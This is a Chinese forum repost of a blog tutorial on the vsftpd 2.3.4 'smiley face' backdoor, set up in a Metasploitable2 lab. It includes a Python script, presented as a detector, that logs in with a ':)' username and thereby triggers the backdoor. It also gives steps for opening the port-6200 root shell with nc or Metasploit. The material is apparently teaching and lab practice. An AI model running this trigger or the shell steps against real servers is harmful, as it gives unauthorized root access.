社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

python脚本检测目标ip是否存在ftp笑脸漏洞(ftp后门漏洞)

白帽子左一 • 2 年前 • 296 次点击  

扫码领资料

获黑客教程

免费&进群



vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPD v2.3.4 服务,是以 root 权限运行的,最终我们提到的权限也是root;


当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,因此也称为笑脸漏洞。


环境搭建


攻击机(本机):192.168.1.3


靶机(metaspolit2):192.168.1.5


nmap进行漏洞检测




python脚本进行漏洞检测


代码如下:

import socketfrom ftplib import FTP url = input("请输入你需要检测的地址:")ftp = FTP()username = 'root:)' #用户名必须包含:)这两个字符password = 'anonymous' #密码随便啥都行try:    ftp.connect(url,21,timeout=10)#使用ftp登录,设置延时10秒    ftp.login(username,password)    ftp.quit()except:    print("完成登录检测")try:    s = socket.socket() #使用socket函数来检测是否有漏洞存在    s.connect((url,6200))    s.close()    print("存在微笑漏洞")except:    print("没有发现笑脸漏洞!")

输出结果:



(一)使用nc进行漏洞利用


1、打开命令行登录ftp服务器,在用户名处输入xiaofeng:)然后随意输入一个


密码回车等待,紧接着进行下一步:



2、打开一个新窗口,输入nc 目标ip 6200 即可连接。



(二)使用msf进行漏洞利用


  1. 打开MSFConsole搜索vsftpd_234并使用



2. 设置攻击目标,进行exploit即可获取shell。



作者:CSDN博主「xiaochuhe.」

原文链接:https://blog.csdn.net/xiaofengdada/article/details/122693486


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本号及原作者不承担相应的后果.


@
学习更多渗透技能!体验靶场实战练习


hack视频资料及工具

(部分展示)


往期推荐



HW中内网代理常用工具总结

个人腾讯服务器挖矿木马溯源

实战 | 记一次授权网络攻防演练(上)

记一次hw期间的溯源过程

漏洞挖掘|密码找回中的套路

Xray捡洞中的高频漏洞

网络安全人员需要考的几本(含金量高)的证书!

爬取免费代理,拥有自己的代理池

APP渗透—Android 7.0 抓包(教程)



看到这里了,点个“赞”、“再看”
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/134722
 
296 次点击